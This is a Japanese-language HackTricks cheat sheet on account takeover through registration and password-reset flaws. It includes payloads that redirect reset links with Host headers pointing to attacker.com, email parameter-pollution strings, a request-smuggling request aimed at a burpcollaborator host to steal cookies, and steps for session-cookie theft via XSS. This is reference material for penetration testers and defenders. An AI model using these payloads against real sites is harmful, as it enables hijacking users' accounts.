mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
179 lines
8.3 KiB
Markdown
179 lines
8.3 KiB
Markdown
# 登録および乗っ取りの脆弱性
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 登録乗っ取り
|
||
|
||
### 重複登録
|
||
|
||
- 既存のユーザー名を使用して生成を試みる
|
||
- メールアドレスを変えて確認する:
|
||
- 大文字
|
||
- \+1@
|
||
- メールにドットを追加する
|
||
- メール名に特殊文字 (%00, %09, %20)
|
||
- メールの後に黒い文字を入れる: `test@test.com a`
|
||
- victim@gmail.com@attacker.com
|
||
- victim@attacker.com@gmail.com
|
||
|
||
### ユーザー名列挙
|
||
|
||
アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。
|
||
|
||
### パスワードポリシー
|
||
|
||
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。\
|
||
その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。
|
||
|
||
### SQLインジェクション
|
||
|
||
[**このページを確認**](sql-injection/index.html#insert-statement)して、アカウントの乗っ取りを試みたり、**SQLインジェクション**を通じて情報を抽出する方法を学ぶ。
|
||
|
||
### Oauth乗っ取り
|
||
|
||
{{#ref}}
|
||
oauth-to-account-takeover.md
|
||
{{#endref}}
|
||
|
||
### SAML脆弱性
|
||
|
||
{{#ref}}
|
||
saml-attacks/
|
||
{{#endref}}
|
||
|
||
### メール変更
|
||
|
||
登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
|
||
|
||
### その他のチェック
|
||
|
||
- **使い捨てメール**が使用できるか確認する
|
||
- **長い** **パスワード** (>200) は **DoS** を引き起こす
|
||
- **アカウント作成のレート制限を確認する**
|
||
- username@**burp_collab**.netを使用し、**コールバック**を分析する
|
||
|
||
## **パスワードリセット乗っ取り**
|
||
|
||
### リファラー経由のパスワードリセットトークン漏洩 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||
|
||
1. 自分のメールアドレスにパスワードリセットをリクエストする
|
||
2. パスワードリセットリンクをクリックする
|
||
3. パスワードを変更しない
|
||
4. 3rdパーティのウェブサイトをクリックする(例: Facebook, Twitter)
|
||
5. Burp Suiteプロキシでリクエストを傍受する
|
||
6. refererヘッダーがパスワードリセットトークンを漏洩しているか確認する。
|
||
|
||
### パスワードリセットポイズニング <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||
|
||
1. Burp Suiteでパスワードリセットリクエストを傍受する
|
||
2. Burp Suiteで次のヘッダーを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||
3. 修正されたヘッダーでリクエストを転送する\
|
||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||
4. _hostヘッダー_に基づいてパスワードリセットURLを探す: `https://attacker.com/reset-password.php?token=TOKEN`
|
||
|
||
### メールパラメータ経由のパスワードリセット <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||
```powershell
|
||
# parameter pollution
|
||
email=victim@mail.com&email=hacker@mail.com
|
||
|
||
# array of emails
|
||
{"email":["victim@mail.com","hacker@mail.com"]}
|
||
|
||
# carbon copy
|
||
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
||
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
||
|
||
# separator
|
||
email=victim@mail.com,hacker@mail.com
|
||
email=victim@mail.com%20hacker@mail.com
|
||
email=victim@mail.com|hacker@mail.com
|
||
```
|
||
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||
|
||
1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動する必要があります。
|
||
2. Burp Suiteを起動し、リクエストをインターセプトします。
|
||
3. リピータタブに送信し、パラメータを編集します:ユーザーID/メール\
|
||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||
|
||
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||
|
||
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\
|
||
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。
|
||
|
||
- タイムスタンプ
|
||
- ユーザーID
|
||
- ユーザーのメール
|
||
- 名と姓
|
||
- 生年月日
|
||
- 暗号化
|
||
- 数字のみ
|
||
- 小さなトークンシーケンス(文字は\[A-Z,a-z,0-9]の間)
|
||
- トークンの再利用
|
||
- トークンの有効期限
|
||
|
||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||
|
||
1. 特定のメール(例:test@mail.com)を使用してAPI/UIからパスワードリセットリクエストをトリガーします。
|
||
2. サーバーの応答を検査し、`resetToken`を確認します。
|
||
3. 次に、トークンをURLに使用します:`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||
|
||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||
|
||
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
|
||
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
|
||
3. あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。
|
||
4. 新しいパスワードで被害者のアカウントに接続します。
|
||
|
||
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
|
||
参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||
|
||
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||
|
||
1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合:`*.domain.com`
|
||
2. 現在の**セッションクッキー**を漏洩させます。
|
||
3. クッキーを使用してユーザーとして認証します。
|
||
|
||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||
|
||
1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプ(CL、TE、CL.TE)を検出します。\
|
||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||
2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\
|
||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\
|
||
3\. 最終リクエストは次のようになる可能性があります。
|
||
```
|
||
GET / HTTP/1.1
|
||
Transfer-Encoding: chunked
|
||
Host: something.com
|
||
User-Agent: Smuggler/v1.0
|
||
Content-Length: 83
|
||
0
|
||
|
||
GET http://something.burpcollaborator.net HTTP/1.1
|
||
X: X
|
||
```
|
||
Hackeroneはこのバグを悪用した報告をしています\
|
||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||
|
||
### CSRFによるアカウント乗っ取り <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||
|
||
1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”
|
||
2. ペイロードを送信します
|
||
|
||
### JWTによるアカウント乗っ取り <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||
|
||
JSON Web Tokenはユーザーを認証するために使用されることがあります。
|
||
|
||
- 別のユーザーID / メールでJWTを編集します
|
||
- 弱いJWT署名を確認します
|
||
|
||
{{#ref}}
|
||
hacking-jwt-json-web-tokens.md
|
||
{{#endref}}
|
||
|
||
## 参考文献
|
||
|
||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|